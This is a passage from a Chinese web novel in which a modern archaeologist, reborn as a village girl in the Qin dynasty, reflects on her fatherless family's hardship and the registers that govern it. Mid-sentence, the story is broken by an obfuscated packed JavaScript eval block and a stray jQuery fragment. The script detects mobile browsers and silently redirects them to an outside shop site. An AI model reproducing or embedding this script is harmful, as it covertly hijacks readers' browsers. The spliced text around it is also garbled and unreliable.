那一日，王娖独自去河滩上割猪草。回来时绕过村口，正遇上几个乡邻蹲在老槐树下歇凉闲话。一个圆脸妇人看见她，笑着招呼：“娖儿，又帮你娘割草呢？真是个好闺女。”另一个瘦高个的汉子接话：“可不是，王氏就这一个闺女，可比儿子还顶用。”话里带着几分不知是夸是贬的笑意。圆脸妇人却压低声音：“顶用是顶用，可到底是个丫头片子。这家里没个男丁，往后赋税徭役，可怎么撑？张氏那性子，又是个闷葫芦，被人欺负了都不吭声。”
“嗐，谁家不是这么熬的。好歹她男人没准儿还活着，哪天回来了，这户就算立住了。”
“三年没个信儿，谁知道是死是活。楚地那地方，瘴气重，徭役又苦，多少壮汉去了就没回来。要我说，张氏这命，是真苦……”
“苦也没法子，这年月，谁家不苦？上回邮人过境，说赵国那边又打起来了，征丁征得凶。咱汉中这边还算安稳，好歹秦国法度严，没人敢明抢明夺。换到楚国那地界，兵祸一来，田都没得种。”
“话是这么说。可你看王家，孤儿寡母的，家里连头牛都没有，犁地全靠人拉。今年秋收，他家的粟要不是我搭了把手，怕是要烂在地里。张氏那人，嘴笨，心里又倔，求人的话都说不出口，我看着都替她急。”
几个人又压低声音说了几句，渐渐散开。王娖低着头，装作没听见，快步走了过去。但那些话，像几粒砂子，硌在了她心里。她忽然明白，母亲平日里那些不动声色的沉默里，压着多少说不出口的艰难。借牛要赔笑脸，请人帮忙要欠人情，缴税要怕被刁难，逢年过节要怕被人看轻——这个时代，一个没有男人的家，连大声说话的底气都没有。
夜里，她躺在炕上，翻来覆去睡不着。张氏以为她白天累着了，伸手替她掖了掖被角：“睡吧，明儿还要起早。”王娖闭着眼应了一声，心里却翻江倒海。
她前世研究秦汉基层制度，对“孤弱户”这个词再熟悉不过。睡虎地秦简《封诊式》里，有关于“士伍”的记载；里耶秦简的户籍简里，明确记录着每户的人口结构——有“大男子”“大女子”“小男子”“小女子”之分，还有“伍人”“母”“妻”等称谓。一户人家，若是户主身死，又没有成年的儿子，这户的赋税徭役便难以豁免，常常沦为乡里最边缘的弱势群体。
里耶简中有一枚户籍简，记载着一户只有一名老妪和一名小女的人家，备注栏里写着“母、小女”，没有壮丁。她当时读到这枚简，只觉得是冰冷的历史数据；如今她自己，就是这样一个数据。
秦法对这类人家并非全无照顾。律文规定，年过六旬的老人可以免除某些徭役，家有老人病人可以酌情减免，但那些减免的条款，条条都要靠自己去官府申办，要靠里正乡老作证，要靠运气碰上肯办事的官吏。对于张氏这样不善言辞、不谙官事的妇人来说，那些条款形同虚设。她连自家的户籍名目都记不清，又怎么敢去官府争辩？
王娖在黑暗中睁开眼，望着屋顶垂下的茅草。她心里盘算着一件更重要的事：这个家，眼下的日子还能勉强维持，可一旦遇到变故——天灾、疫病、赋税加征、徭役摊派——这个没有男丁的家，将是第一批被压垮的。她必须为这个家，多准备一些活路。可她一个十三岁的少女，在这个时代，又能做什么？
她想了很久。想出来的结论，让她自己都觉得苦涩：她能做的，只有三件事。第一，把身子养壮实些，多干活，多替母亲分担；第二，把桑蚕绩麻的手艺练好，这是女子安身立命的根本；第三，藏好自己，绝不让任何人发现，这具十三岁的躯壳里，住着一个来自两千年后的灵魂。
她甚至在心里偷偷盘算过，自己那点现代学识，能在这个时代派上什么用场。种地？她前世连小麦和韭菜都分不太清，倒是背过《氾胜之书》和《齐民要术》的片段，知道些“区田法”“溲种法”的名目，可那些东西在这个时代的汉中能不能用、怎么用，她心里没底，也不敢贸然在自家田里试——万一试砸了，母女俩来年就要饿肚子。
医术？她会的那点现代卫生常识，充其量能让一家人少生病，却治不了这个时代真正要命的时疫重伤。
织染？她会背几段《考工记》里关于“缫丝”“染色”的记载，可她自己连纺车都是刚学会摇的，哪敢逞能。想来想去，她悲哀地发现，一个现代考古学硕士的知识储备，在这个公元前三世纪的农家小院里，竟大半派不上用场。她能倚仗的，反而是原身那点刻在骨头里的农事本能，和她自己两世叠加的、沉得住气的心性。
她翻了个身，把脸埋进干草里。干草的清香混着土腥气，灌进鼻腔。她忽然想起前世导师说过的一句话：“研究历史的人，最怕的是把古人当成统计数据。每一个数字背后，都是一个活生生的人。”她如今成了那个数字，也成了那个活生生的人。她想起自己在发掘报告里写过的那个无名少女墓——蜷缩的骸骨，粗大的指节，营养不良的骨相。她曾经用碳十四测年、用骨相分析，试图还原那个少女的一生。如今她躺在和那个少女几乎一模一样的土炕上，忽然懂了：那个少女的一生，不需要任何考古报告来还原。她的生，她的死，她的苦难，她的沉默，就是此刻的她自己。
第二日清晨，王娖照例早早起来。她烧好水，又把昨日晒的柴火抱进柴棚码好。张氏出来看见，愣了一下：“你何时起来的？柴都抱好了？”
“醒了就起了，睡不着。”王娖垂着眼，把水端到母亲面前，“娘，喝水。”
张氏接过碗，看着女儿，眼底忽然泛起点湿意。她连忙低下头，就着碗沿喝了一口，声音有些哑：“娖儿长大了。”王娖没有接话，转身去院里喂鸡。三只瘦鸡咕咕叫着扑过来，抢食她撒下的糠麸。她蹲在鸡群旁边，看着它们啄食，心里忽然又踏实了一些。日子虽然苦，可这苦日子，只要母女俩齐心协力，总能一天一天地熬下去。
傍晚，张氏从菜地里回来，手里攥着一把嫩生生的菜秧，说是邻家送的。她洗了菜，下了锅，又往粥里多抓了一把米。王娖坐在门槛上剥豆，听见母亲在灶台边哼着一支不成调的小曲，声音低低的，像是怕人听见。那是原身记忆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17921735|213476||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
里母亲很久没有哼过的调子。王娖低着头，嘴角微微弯了一下。
她知道，母亲是在为她的“懂事”高兴。这个家虽然寒，虽然苦，但只要还有人愿意为彼此撑住，就不算塌。
夜色沉下来的时候，母女俩坐在灯下，一人搓麻，一人缝补。窗外传来秋虫的鸣叫，湑水河在不远处低低地流着。张氏忽然开口：“娖儿，你爹要是回来了……你说，他还认得你吗？”声音很轻，像是自言自语。
王娖的手停了一下，然后继续搓着麻线：“认得。我是他闺女，他怎么会不认得。”
张氏没有再说话。灯火跳了跳，把两个人的影子拉得更长。夜风从门缝里钻进来，吹得灯苗摇曳。王娖低着头，手里的麻线一圈一圈地绕上纺锭，心里那根弦，绷得比任何时候都紧。
她不知道父亲是死是活，不知道这个家能不能撑过下一个冬天，不知道将来等着她们母女的是什么样的命运。她只知道，从今往后，她必须和母亲一起，把这个寒门的门户，牢牢地撑住。
窗外的虫鸣声渐渐歇了。张氏吹灭了油灯，屋里陷入一片漆黑。黑暗中，王娖听见母亲翻了个身，极轻地叹了口气，随即又压住了呼吸，像是怕吵醒她。她闭上眼，把手缩进被子里，攥成拳。掌心里还留着白日搓麻的涩意。她在心里一字一字地对自己说：王娖，你如今是湑里王氏的女儿了。你要替那个在史书上留不下一个字的少女，好好活这一辈子。活得不怨、不怯、不亏心，把这家、这田、这份沉默的骨血，都好好守住。
撑住一天，就是一天。
辰时刚过，湑里上空便传来一声清亮的梆子响。
梆声穿透晨雾，在河谷两岸的田亩与茅舍间回荡，一下，两下，三下，极有节律，像是某种古老的钟点。紧接着，第二声、第三声梆响接次传来，由远及近，那是亭卒巡乡的信号。
王娖正蹲在灶台边往灶膛里添柴。听见梆声，她的手顿了一下，随即听见院子里传来张氏压低的声音：“娖儿，快些把围裙解了，把头发拢拢，亭卒要巡乡了。”声音里带着一丝不易察觉的紧张。王娖应了一声，起身掸了掸衣摆，把散落的碎发拢到耳后，又理了理粗褐布衫的衣襟，这才跟着母亲走到院门口，垂手立着。
湑里的巡检，每隔几日便有一回。这是秦制的老规矩——编户齐民，人人在册，乡亭之下，五日一点检，十日一巡乡，逢年过节还要逐户核对。
亭卒巡乡不是走过场，是要当真核对的：每户几口人，老□□女各几人，丁壮是否在籍，田亩有无变更，刍稿是否备齐，有无隐匿人口、逃亡丁壮、私匿客籍。样样都要对着户版木牍一条一条地核，核完记下来，报回乡亭存档。
王娖站在院门内侧，隔着半掩的柴门，看着外头的情形。两个身着短褐、腰系麻绳的亭卒从田埂那头走来，一前一后。前头那个年纪稍长，脸膛黝黑，腰间挂着一块木牍，手里攥着一卷竹简，脚步沉稳；后头那个年轻些，背着一捆草绳，腰里别着一把削木的斧子，看着像是兼管农桑的。二人走到王家院门前，停下脚步。